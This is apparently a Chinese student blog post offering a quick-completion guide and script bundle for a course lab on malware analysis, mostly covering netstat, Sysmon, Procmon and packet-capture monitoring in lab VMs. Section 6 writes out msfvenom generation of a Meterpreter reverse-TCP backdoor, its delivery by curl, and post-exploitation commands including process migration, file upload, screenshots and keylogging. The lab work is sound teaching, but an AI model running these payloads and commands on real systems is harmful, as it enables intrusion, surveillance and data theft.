《网络与系统攻防技术》 实验四:恶意代码分析

实验四《恶意代码分析》速通指南(附一键部署包)

课程:网络与系统攻防技术 实验:实验四 恶意代码分析
适用:Windows 10/11 虚拟机/本机也行 + Kali 虚拟机
目标:60~90 分钟跑通“系统监控 + 恶意样本分析”,产出可写进报告的全部证据
整理:20242214 陈冯


0. 先说清楚:这个包能帮你做什么

天下苦网络攻防实验久矣,尤其是实验四耗时最长。。。于是乎,本博客为大家整理了一个速通包,助力大家速通实验四@~@
这个速通包把实验四需要的脚本、配置、工具和示例输出都整理好了:

目录 内容
01-计划任务 netstat 每分钟采样脚本、计划任务安装/卸载、日志分析器
02-Sysmon Sysmon 配置、安装/导出/分析脚本
03-样本与回连 Kali 生成样本脚本、msfconsole 监听配置
04-行为差异 系统快照、快照对比、Procmon 分析器
05-样本静态分析 PE 结构/熵/导入表分析、哈希与字符串 IOC 提取
06-抓包分析 tshark 批量分析、Wireshark 过滤器速查
07-一键脚本 一键部署、一键清理
08-示例输出 真实运行产生的报告样例,用来对照格式
09-报告模板 报告骨架、基础问答参考答案
tools Sysinternals、SysTracer、DumpIt(免安装)

安全声明:所有样本只能在本人拥有或已获授权的虚拟机中运行。
不要把生成的 exe、内存镜像、抓包文件发到互联网或真实办公环境。


1. 环境与拓扑

角色 系统 示例 IP 说明
攻击机 Kali Linux 2026.x 192.168.29.128 生成样本、msfconsole、抓包
目标机 Windows 10/11 虚拟机 192.168.29.1 运行样本、Sysmon、Procmon、快照
网络 VMware NAT 或 Host-Only 同一网段 两台机器能互相 ping 通

开始前做两件事:

  1. 给两台虚拟机各打一个快照(名字:exp4-clean);
  2. 在 Kali 上确认 IP:
ip a | grep 192.168.
ping -c 2 192.168.29.1

记下 Kali 的 IP,后面 LHOST 全部用它。

需要提前装的软件

  • Windows:Python 3.8+(安装时勾选 Add Python to PATH)、Wireshark(自带 tshark)
  • Kali:Metasploit(msfvenom、msfconsole 可用)
  • 其余工具都在本包 tools 里,不用再下载

2. 部署(约 5 分钟)

2.1 放包

把整个 实验四-恶意代码分析-速通包 文件夹复制到 D 盘,例如:

D:\实验四-恶意代码分析-速通包

2.2 一键部署

右键开始菜单 → Windows PowerShell(管理员):

cd "D:\实验四-恶意代码分析-速通包\07-一键脚本"
powershell -ExecutionPolicy Bypass -File .\一键部署.ps1 -StudentId 你的学号

脚本会自动完成:

  • 把 01~06、tools 复制到 D:\NetSec\Exp4
  • 创建 03-样本、05-抓包、06-分析输出、报告截图
  • 安装 Sysmon 并加载配置(已装则更新配置)
  • 把 Sysmon 日志上限调到 1 GB
  • 创建计划任务 netstat_log_<学号>,每分钟采样

只想先看它要做什么:

powershell -ExecutionPolicy Bypass -File .\一键部署.ps1 -StudentId 你的学号 -DryRun

2.3 手动部署(等价命令,便于理解)

# 1) 复制目录
Copy-Item "D:\实验四-恶意代码分析-速通包\01-计划任务" "D:\NetSec\Exp4\" -Recurse -Force
Copy-Item "D:\实验四-恶意代码分析-速通包\02-Sysmon"   "D:\NetSec\Exp4\" -Recurse -Force
Copy-Item "D:\实验四-恶意代码分析-速通包\03-样本与回连" "D:\NetSec\Exp4\" -Recurse -Force
Copy-Item "D:\实验四-恶意代码分析-速通包\04-行为差异" "D:\NetSec\Exp4\" -Recurse -Force
Copy-Item "D:\实验四-恶意代码分析-速通包\05-样本静态分析" "D:\NetSec\Exp4\" -Recurse -Force
Copy-Item "D:\实验四-恶意代码分析-速通包\06-抓包分析" "D:\NetSec\Exp4\" -Recurse -Force
Copy-Item "D:\实验四-恶意代码分析-速通包\tools" "D:\NetSec\Exp4\" -Recurse -Force

# 2) 装 Sysmon
cd D:\NetSec\Exp4\tools\Sysinternals
.\Sysmon64.exe -accepteula -i ..\..\02-Sysmon\sysmon-exp4.xml
wevtutil sl "Microsoft-Windows-Sysmon/Operational" /ms:1073741824

# 3) 建计划任务
cd D:\NetSec\Exp4\01-计划任务
powershell -ExecutionPolicy Bypass -File .\install_task.ps1 -TaskName netstat_log_你的学号

2.4 部署成功的样子

Get-Service Sysmon64
schtasks /query /tn netstat_log_你的学号 /fo LIST
Get-Content D:\NetSec\Exp4\01-计划任务\netstatlog.txt -Tail 10

服务 Running、任务“已启用”、日志里出现 ===== 时间 ===== 与 netstat 输出,说明部署成功。


3. 速通路线图

步骤 内容 耗时 产出
1 部署 + 确认任务在采样 5 min 日志文件开始增长
2 生成样本、起 handler 5 min 样本 exe、会话
3 开 Procmon + Wireshark,运行样本 5 min 回连、会话
4 cat 读文件、migrate、upload、screenshot 5 min 读写与迁移证据
5 拍 after 快照、对比 3 min diff.md
6 导出 Sysmon、跑分析器 5 min sysmon_report.md
7 停采样、跑 netstat/Procmon/抓包分析 5 min 三份分析报告
8 写报告 30~60 min 实验报告

最优节奏:先开计划任务采样,再去做任务三,让样本回连落在采样窗口里,
任务一和任务三的证据就能互相印证。


4. 任务一:计划任务监控(1 分)

4.1 原理

netstat -bno 的 -b 显示连接属于哪个程序,-n 用数字显示地址,-o 给出 PID。
单次执行只能看到“此刻”,所以要每分钟采样并追加到同一个文件。

指导书里 schtasks /create ... /TR "cmd /c netstat -bn > c:\netstatlog.txt"
用的是 > 覆盖,只能看到最后一帧;本包改成调用 netstat_monitor.bat,用 >> 追加。
这是能不能做统计分析的关键。

4.2 已自动完成的部分

一键部署已经创建了任务:netstat_log_<学号>,每分钟运行,SYSTEM 身份、最高权限。

检查:

schtasks /query /tn netstat_log_你的学号 /v /fo LIST
Get-Content D:\NetSec\Exp4\01-计划任务\netstatlog.txt -Tail 20

4.3 让它采够时间

建议 30~60 分钟。期间正常用电脑(浏览器、WPS、微信都行),并完成下面的任务三。

采样结束先禁用任务:

schtasks /change /tn netstat_log_你的学号 /disable

4.4 分析

cd D:\NetSec\Exp4\01-计划任务
python analyze_netstat.py .\netstatlog.txt -o ..\06-分析输出 --top 15

输出:

  • 06-分析输出\netstat_records.csv:每条连接一行,可导入 Excel 做透视
  • 06-分析输出\netstat_summary.md:进程榜、目的地址榜、端口分布、可疑清单、结论段落

控制台会打印类似:

时间片 102 个 | 连接记录 6263 条 | 公网连接 4257 条
进程                              连接    公网   目的IP   端口
wpscloudsvr.exe                  987    987     24   80, 443, 7826, 11111
msedge.exe                       891    881     63   443, ...
...
关注对象:
  [高] 端口 4444 -- 出现 42 次,进程:exp4_backdoor.exe ...
  [高] exp4_backdoor.exe -> 192.168.29.128:4444 -- 在 21 个不同时间片反复出现

4.5 报告怎么写

  1. 说明采样方法(脚本、任务、SYSTEM 权限);
  2. 给出进程 Top 表与端口分布表;
  3. 给出结论:绝大多数是 443/HTTPS 正常流量;
    样本进程“固定目标 + 固定高位端口 + 周期性重连”明显异常;
  4. 说明局限:netstat 只能回答“连了谁”,传了什么要看抓包。

5. 任务二:Sysmon 监控(1 分)

5.1 安装与配置

一键部署已经完成。手动检查:

Get-Service Sysmon64
Get-Content D:\NetSec\Exp4\02-Sysmon\sysmon-exp4.xml -TotalCount 40

配置核心思路:重点关照 + 噪声白名单

  • exclude = 白名单:命中就不记
  • include = 重点名单:命中一定记
  • 规则按书写顺序匹配,第一条命中决定结果
  • 样本名、cmd/powershell、注入、注册表写入要写在噪声之前

5.2 关键事件

EventID 名称 用途
1 ProcessCreate 样本启动、派生进程
3 NetworkConnect 回连目标 IP:Port
8 CreateRemoteThread 注入(不一定出现,见下)
10 ProcessAccess 访问 lsass/WinLogon(凭据访问)
11 FileCreate 落地文件
12/13/14 RegistryEvent 注册表写/删/改
22 DnsQuery 域名解析
23 FileDelete 删除文件

5.3 导出事件

cd D:\NetSec\Exp4\02-Sysmon
powershell -ExecutionPolicy Bypass -File .\sysmon_export.ps1 `
  -SinceMinutes 30 -EventIds 1,3,8,10,11,22,23 `
  -OutDir ..\06-分析输出\sysmon-csv

python analyze_sysmon.py ..\06-分析输出\sysmon-csv --out ..\06-分析输出

得到 sysmon_report.md:事件统计、进程创建表、网络连接表、注册表/文件表、
时间线、自动汇总的“需要写进报告的发现”。

EventID 8 的坑:meterpreter 的 migrate 不一定触发 Sysmon 的 CreateRemoteThread,
所以 Event 8 可能是 0 条,这不是配置错。迁移成功用 getpid 变化 + EventID 10
对 WinLogon/lsass 的访问来证明即可。


6. 任务三:恶意软件分析(3 分)

6.1 生成样本(Kali)

cd ~/NetSec/Exp4
sed -i 's/set LHOST .*/set LHOST 192.168.29.128/' handler.rc
grep LHOST handler.rc

cd samples
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.29.128 LPORT=4444 \
         -f exe -o exp4_backdoor_x64.exe
sha256sum exp4_backdoor_x64.exe
python3 -m http.server 8000

Windows 下载:

curl.exe -o D:\NetSec\Exp4\03-样本\exp4_backdoor_x64.exe http://192.168.29.128:8000/exp4_backdoor_x64.exe
Get-FileHash D:\NetSec\Exp4\03-样本\exp4_backdoor_x64.exe -Algorithm SHA256

6.2 起监听

cd ~/NetSec/Exp4
msfconsole -q -r handler.rc

看到:

Started reverse TCP handler on 192.168.29.128:4444

6.3 开三路采集(顺序很重要)

  1. Procmon:tools\Sysinternals\Procmon64.exe
    过滤两条 Include:exp4_backdoor_x64.exe、explorer.exe
    Ctrl+X 清屏 → 开始捕获
  2. Wireshark:选 VMware 虚拟网卡,开始捕获
  3. Sysmon:已在运行

6.4 运行样本 + 读 -> 迁移 -> 写

Start-Process "D:\NetSec\Exp4\03-样本\exp4_backdoor_x64.exe"

Kali 出现 session 后:

sessions -l
sessions -i 1
sysinfo
getuid
cat C:\\Windows\\System32\\drivers\\etc\\hosts
cat C:\\Windows\\win.ini
migrate -N explorer.exe
getpid
upload /home/kali/NetSec/Exp4/upload_test.txt C:\\Users\\Public\\exp4_upload.txt
cat C:\\Users\\Public\\exp4_upload.txt
screenshot
keyscan_start
keyscan_dump

upload 的源路径在 Kali 本机;Windows 路径用 \\ 或 /。
先 cat 再 migrate,读操作就能归到样本进程名下。

6.5 抓包与快照

Wireshark 停止后 File → Save As:

D:\NetSec\Exp4\05-抓包\exp4.pcapng

Procmon 停止后 File → Save(CSV):

D:\NetSec\Exp4\06-分析输出\procmon.csv

快照:

cd D:\NetSec\Exp4\04-行为差异
powershell -ExecutionPolicy Bypass -File .\snapshot.ps1 -Label after_exec

$base  = (Get-ChildItem .\snapshots -Directory | Where-Object Name -like '*_baseline' | Sort-Object LastWriteTime -Descending | Select-Object -First 1).FullName
$after = (Get-ChildItem .\snapshots -Directory | Where-Object Name -like '*_after_exec' | Sort-Object LastWriteTime -Descending | Select-Object -First 1).FullName
powershell -ExecutionPolicy Bypass -File .\compare_snapshot.ps1 -Before $base -After $after -Out ..\06-分析输出\diff.md

基线要在运行样本之前拍,目录名里带 baseline。


7. 四个分析器

# 1) Procmon:读/写/删
cd D:\NetSec\Exp4\04-行为差异
python analyze_procmon.py ..\06-分析输出\procmon.csv --process exp4_backdoor_x64.exe -o ..\06-分析输出\procmon_sample.md
python analyze_procmon.py ..\06-分析输出\procmon.csv --process explorer.exe -o ..\06-分析输出\procmon_explorer.md

# 2) 抓包
cd ..\06-抓包分析
powershell -File .\tshark_extract.ps1 -Pcap ..\05-抓包\exp4.pcapng -KaliIp 192.168.29.128 -FollowStream 0

# 3) 静态分析
cd ..\05-样本静态分析
python pe_info.py ..\03-样本\exp4_backdoor_x64.exe --json ..\06-分析输出\pe_x64.json

# 4) 样本指纹与字符串
powershell -File .\get_sample_info.ps1 -Path ..\03-样本\exp4_backdoor_x64.exe

对应报告的三问:

报告问题 用哪个结果
③ 注册表 读/写/删 procmon_sample.md 第 3、4 节;Sysmon 12/13
④ 文件 读/写/删 procmon_sample.md 第 5、6、7 节;diff.md
⑤ 外部 IP 与数据 netstat_summary.md;tcp_conversations.txt;stream_0.txt

8. 报告怎么写

评分点 写什么 证据
系统运行监控(2 分) 计划任务方法 + 统计图表 + 结论;Sysmon 配置 + 事件截图 netstat_summary、Sysmon 事件
注册表(1 分) 读取了哪些键、写/删了什么 Procmon + Sysmon 12/13
文件(1 分) 读取/新增/删除了哪些文件 Procmon + diff + Sysmon 11/23
网络(1 分) 连了哪些 IP、传了什么 pcap + netstat
基础问答(2 分) 两题各 200 字 09-报告模板
总结体会(1 分) 方法层面的收获 自己写
过程记录(2 分) 时间线 + 问题与解决 见第 9 节

三张表的模板

注册表

类别 注册表路径 键值/数据 时间 证据
读 HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces 网络配置 18:40:33 Procmon RegQueryValue
写 无 — — Procmon 0 条写入
删 无 — — —

文件

类别 文件路径 大小/哈希 时间 证据
读 C:\Windows\System32\drivers\etc\hosts 824 B 18:41:02 Procmon ReadFile
写 C:\Users\Public\exp4_upload.txt 28 B 18:41:47 Procmon WriteFile
删 无用户文件 — — Procmon

网络

方向 帧数 字节 说明
目标 → Kali:4444 989 1 309 200 命令请求与采集数据
Kali:4444 → 目标 543 448 256 控制指令与 stage
合计 1 532 1 757 456 持续 114.6 秒

9. 常见坑(这里是我踩过的坑,大家遇到问题可以私信我或者留言在这)

现象 原因 解决
计划任务“上次结果 255”,日志不生成 .bat 被存成 LF 换行;注释里有 < > 用包内 CRLF/ANSI 版本,别用编辑器另存成 LF
执行 ps1 报 Join-Path 参数为空 PowerShell 5.1 下 [CmdletBinding()] 的 param 默认值取不到 $PSScriptRoot 用包内已修复脚本;自己写时把路径解析放到正文
Sysmon 报 Archive directory must be a single path component 新版只接受单个目录名 用 SysmonArchive,不要写完整路径
4444 被占用 / 新 handler 绑不上 之前的 handler 还在后台 jobs -K 后重新 exploit -j
session 出现后立刻 Died(stage 199238) 运行了 32 位样本,handler 是 x64 换 exp4_backdoor_x64.exe;199238=32 位,248902=64 位
迁 notepad 失败 Win11 的 SysWOW64\notepad.exe 是 Store 应用别名(x64) 迁移 explorer.exe,或换 32 位宿主
migrate 29104 报 non existent 29104 是文档示例 PID 用 Start-Process -PassThru 取真实 PID
upload 报 Access denied,路径变成 C:\UsersPublicexpf... 反斜杠被转义;源路径不在 Kali 目标路径写 C:\\Users\\Public\\x.txt,源文件放 Kali
Sysmon 导出很慢 / Event 8 缺失 注册表事件量太大,日志被覆盖 wevtutil ... /ms:1073741824;导出用 -EventIds 过滤;Event 8 可能本来就不触发
Procmon CSV 里没有样本 先运行样本后开 Procmon 先开 Procmon,再运行样本
中文路径 curl 失败 目标目录不存在或编码问题 先建目录;必要时用英文 samples 目录

10. 清理

cd "D:\实验四-恶意代码分析-速通包\07-一键脚本"
powershell -ExecutionPolicy Bypass -File .\一键清理.ps1 -StudentId 你的学号 -PurgeSamples

脚本会删除计划任务、卸载 Sysmon、清理 SysmonArchive 与样本;
最后手动撤销杀软排除项,并回滚两台虚拟机的快照。


附录 A:命令速查

# 部署
.\一键部署.ps1 -StudentId 20242214

# 任务状态
schtasks /query /tn netstat_log_20242214 /v /fo LIST
schtasks /change /tn netstat_log_20242214 /disable

# Sysmon
Get-Service Sysmon64
wevtutil sl "Microsoft-Windows-Sysmon/Operational" /ms:1073741824
powershell -File .\sysmon_export.ps1 -SinceMinutes 30 -EventIds 1,3,8,10,11,22,23 -OutDir ..\06-分析输出\sysmon-csv
python analyze_sysmon.py ..\06-分析输出\sysmon-csv --out ..\06-分析输出

# 快照
powershell -File .\snapshot.ps1 -Label baseline
powershell -File .\snapshot.ps1 -Label after_exec
powershell -File .\compare_snapshot.ps1 -Before 基线 -After 执行后 -Out ..\06-分析输出\diff.md

# 分析
python analyze_netstat.py .\netstatlog.txt -o ..\06-分析输出 --top 15
python analyze_procmon.py ..\06-分析输出\procmon.csv --process exp4_backdoor_x64.exe -o ..\06-分析输出\procmon_sample.md
python pe_info.py ..\03-样本\exp4_backdoor_x64.exe --json ..\06-分析输出\pe_x64.json
powershell -File .\tshark_extract.ps1 -Pcap ..\05-抓包\exp4.pcapng -KaliIp 192.168.29.128 -FollowStream 0

附录 B:文件清单

实验四-恶意代码分析-速通包\
├─ 00-先看这里\        本文、速查卡、部署说明
├─ 01-计划任务\        netstat_monitor.bat / install_task.ps1 / analyze_netstat.py
├─ 02-Sysmon\          sysmon-exp4.xml / sysmon_ctl.ps1 / sysmon_export.ps1 / analyze_sysmon.py
├─ 03-样本与回连\      gen_payload.sh / handler.rc
├─ 04-行为差异\        snapshot.ps1 / compare_snapshot.ps1 / analyze_procmon.py / procmon_guide.md
├─ 05-样本静态分析\    pe_info.py / get_sample_info.ps1
├─ 06-抓包分析\        tshark_extract.ps1 / wireshark_filters.md
├─ 07-一键脚本\        一键部署.ps1 / 一键清理.ps1
├─ 08-示例输出\        真实运行结果样例
├─ 09-报告模板\        报告骨架与基础问答
└─ tools\              Sysinternals / SysTracer / Comae DumpIt

附录 C:截图清单

  1. 部署成功:Get-Service Sysmon64 + 任务状态
  2. 计划任务属性 / 日志片段
  3. netstat_summary.md 的进程榜与关注对象
  4. Sysmon 事件 1 / 3 / 10 / 12
  5. Kali handler 启动 + session
  6. getpid 迁移前后
  7. Procmon 过滤条件 + ReadFile/WriteFile 行
  8. 快照对比“新增文件/注册表变化”
  9. Wireshark 会话统计 + Follow TCP Stream
  10. pe_info.py 输出

每张截图尽量带学号或姓名(终端主机名、桌面便签、水印均可)。

附录 D:参考

posted @ 2026-10-21 12:31  chfg  阅读(33)  评论(0)    收藏  举报